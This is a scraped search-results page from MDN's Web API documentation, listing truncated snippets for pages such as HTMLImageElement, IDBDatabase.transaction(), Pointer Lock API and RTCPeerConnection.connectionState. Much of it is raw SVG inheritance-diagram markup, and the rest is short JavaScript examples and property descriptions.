...andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventha...
...And 3 more matches
HTMLImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,2...
...5" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-...
...anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs...
...And 3 more matches
HTMLParamElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fil...
...l="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stro...
...ke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line ...
...And 3 more matches
HTMLScriptElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4d...
...de4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:...
...href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 ...
...And 3 more matches
HTMLTableRowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-b...
...aseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" fon...
...t-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d...
...And 3 more matches
HTMLTableSectionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" f...
...ill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" st...
...roke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><lin...
...And 3 more matches
The HTML DOM API - Web APIs
eventsource examples in this example, an <input> element's input event is monitored in order to update the state of a form's "submit" button based on whether or not a given field currently has a value.
... javascript const namefield = document.getelementbyid("username"); const sendbutton = document.getelementbyid("sendbutton") sendbutton.disabled = true; // [note: this is disabled since it causes this article to always load with this example focused and scrolled into view] //namefield.focus(); namefield.addeventlistener("input", event => { const elem = event.target; const valid = elem.value.length != 0; if (valid && sendbutton.disabled) { sendbutton.disabled = false; } else if (!valid && !sendbutton.disabled) { sendbutton.disabled = true; } }); this code uses the document interface's getelementbyid() method to get the dom object representing the <input> elements whose ids are username and sendbutton.
... the htmlinputelement object for the "send" button's disabled property is set to true, which disables the "send" button so it can't be clicked.
...And 3 more matches
IDBDatabase.transaction() - Web APIs
syntax idbdatabase.transaction(storenames); idbdatabase.transaction(storenames, mode); parameters "durability" -- the durability constrints for the transction.
... valid values are: "default", "strict", and "relaxed".
... if you need to open the object store in readwrite mode to change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers.
...And 3 more matches
IDBOpenDBRequest - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monac...
...o,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbrequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbrequest</text></a><polyline points="251,25 261,20 261,30 251,25" stroke="#d4dde4" fill="none"/><line x1="261" y1="25" x2="291" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbopendbrequest" target="_top"><rect x="291" y="1" width="1...
...60" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbopendbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits methods from its parents idbrequest and eventtarget.
...And 3 more matches
KeyframeEffect.setKeyframes() - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
... element.animate({ opacity: [ 0, 1 ], // offset: 0, 1 backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...And 3 more matches
MediaDevices.ondevicechange - Web APIs
html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div class="left"> <h2>audio devices:</h2> <ul class="devicelist" id="audiolist"></ul> </div> <div class="right"> <h2>video devices:</h2> <ul class="devicelist" id="videolist"></ul> </div> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } ...
... let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 30 }, audio: { samplerate: 44100, samplesize: 16, volume: 0.25 ...
...} }).then(stream => { videoelement.srcobject = stream; updatedevicelist(); }) .catch(err => log(err.name + ": " + err.message)); }, false); we set up global variables that contain references to the <ul> elements that are used to list the audio and video devices: let audiolist = document.getelementbyid("audiolist"); let videolist = document.getelementbyid("videolist"); getting and drawing the device list now let's take a look at updatedevicelist() itself.
...And 3 more matches
MediaStreamTrack - Web APIs
note: you can implement standard "mute" functionality by setting enabled to false.
... mediastreamtrack.kind read only returns a domstring set to "audio" if the track is an audio track and to "video", if it is a video track.
... mediastreamtrack.label read only returns a domstring containing a user agent-assigned label that identifies the track source, as in "internal microphone".
...And 3 more matches
MutationObserverInit.attributeFilter - Web APIs
syntax var options = { attributefilter: [ "list", "of", "attribute", "names" ] } value an array of domstring objects, each specifying the name of one attribute whose value is to be monitored for changes.
... function callback(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": switch(mutation.attributename) { case "status": userstatuschanged(mutation.target.username, mutation.target.status); break; case "username": usernamechanged(mutation.oldvalue, mutation.target.username); break; } break; } }); } var userlistelement = document.queryselector("#userlist"); v...
...ar observer = new mutationobserver(callback); observer.observe(userlistelement, { attributefilter: [ "status", "username" ], attributeoldvalue: true, subtree: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
...And 3 more matches
Using Navigation Timing - Web APIs
for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and output...
... html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", sans-serif; } in tandem with appropriate html and css, the result is: the values listed are for the <iframe> in which the sample is presented above.
...the new code looks like this: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; output = "load time: " + loadingtime + " ms<br/>"; output += "navigation type: "; switch(performance.navigation.type) { case performancenavigation.type_navigate: output += "navigation"; break; case performancenavigation.type_reload: output += "...
...And 3 more matches
Web-based protocol handlers - Web APIs
an example is the mailto: protocol: <a href="mailto:webmaster@example.com">web master</a> web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly from the webpage.
...for example: navigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol.
...the "%s" is replaced with the href of the link and a get is executed on the resultant url.
...And 3 more matches
Navigator - Web APIs
WebAPINavigator
standard navigatorid.appcodename read only returns the internal "code" name of the current browser.
...when this value is "yes", your web site or application should not track the user.
... navigator.productsub returns the build number of the current browser (e.g., "20060909").
...And 3 more matches
Node - Web APIs
WebAPINode
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in addition to the properties below, node ...
...an alternative to document.body.innerhtml = "" ...
...And 3 more matches
PaymentResponse.retry() - Web APIs
validate the returned reponse; if there are any fields whose values are not acceptable, call the response's complete() method with a value of "fail" to indicate failure.
... if the response's data is valid and acceptable, call complete("success") to finalize the payment and proces it.
...call complete("fail") to close the payment request.
...And 3 more matches
performance.clearMarks() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "mark" will be removed from the performance entry buffer.
...if this argument is omitted, all performance entries with an entry type of "mark" will be removed.
...function logmarkcount() { console.log( "found this many entries: " + performance.getentriesbytype("mark").length ); } // create a bunch of marks.
...And 3 more matches
performance.clearMeasures() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "measure" will be removed from the performance entry buffer.
...if this argument is omitted, all performance entries with an entry type of "measure" will be removed.
...function logmeasurecount() { console.log( "found this many entries: " + performance.getentriesbytype("measure").length ); } // create a bunch of measures.
...And 3 more matches
PerformanceNavigationTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mo...
...no,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancenavigationtiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancenavigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for navigation performance entry types by qu...
...alifying and constraining them as follows: performanceentry.entrytype read only returns "navigation".
...And 3 more matches
PerformanceResourceTiming.initiatorType - Web APIs
if the initiator is a css resource, the property returns "css".
... if the initiator is a xmlhttprequest object, the property returns "xmlhttprequest".
... if the initiator is a performancenavigationtiming object, the property returns an empty string ("").
...And 3 more matches
Pointer Lock API - Web APIs
if ("onpointerlockchange" in document) { document.addeventlistener('pointerlockchange', lockchangealert, false); } else if ("onmozpointerlockchange" in document) { document.addeventlistener('mozpointerlockchange', lockchangealert, false); } function lockchangealert() { if(document.pointerlockelement === canvas || document.mozpointerlockelement === canvas) { console.log('the pointer lock st...
... document.addeventlistener('pointerlockerror', lockerror, false); document.addeventlistener('mozpointerlockerror', lockerror, false); function lockerror(e) { alert("pointer lock failed"); } note: until firefox 50 the above events were prefixed with moz in firefox.
... function lockchangealert() { if (document.pointerlockelement === canvas || document.mozpointerlockelement === canvas) { console.log('the pointer lock status is now locked'); document.addeventlistener("mousemove", updateposition, false); } else { console.log('the pointer lock status is now unlocked'); document.removeeventlistener("mousemove", updateposition, false); } } the updateposition() function updates the position of the ball on the canvas (x and y), and also includes if() statements to check whether the ball has gone off the edges of the canvas.
...And 3 more matches
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
this is always "tonechange".
... options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing.
... the letters a-d these characters represent the "a" through "d" keys which are part of the dtmf standard but not included on most telephones.
...And 3 more matches
RTCDtlsTransport - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill...
...="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.methodsthis interface has no methods.
...the default policy is "balanced", which provides a balance between performance and compatibility.
...And 3 more matches
RTCPeerConnection.connectionState - Web APIs
constant description "new" at least one of the connection's ice transports (rtcicetransports or rtcdtlstransports) are in the "new" state, and none of them are in one of the following states: "connecting", "checking", "failed", or "disconnected", or all of the connection's transports are in the "closed" state.
... "connecting" one or more of the ice transports are currently in the process of establishing a connection; that is, their rtciceconnectionstate is either "checking" or "connected", and no transports are in the "failed" state.
... <<< make this a link once i know where that will be documented "connected" every ice transport used by the connection is either in use (state "connected" or "completed") or is closed (state "closed"); in addition, at least one transport is either "connected" or "completed".
...And 3 more matches
SVGEllipseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/...
...><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseli...
...ne="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" targe...
...And 3 more matches
SVGRectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,...
...25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text...
...-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/...
...And 3 more matches
SVGTSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stro...
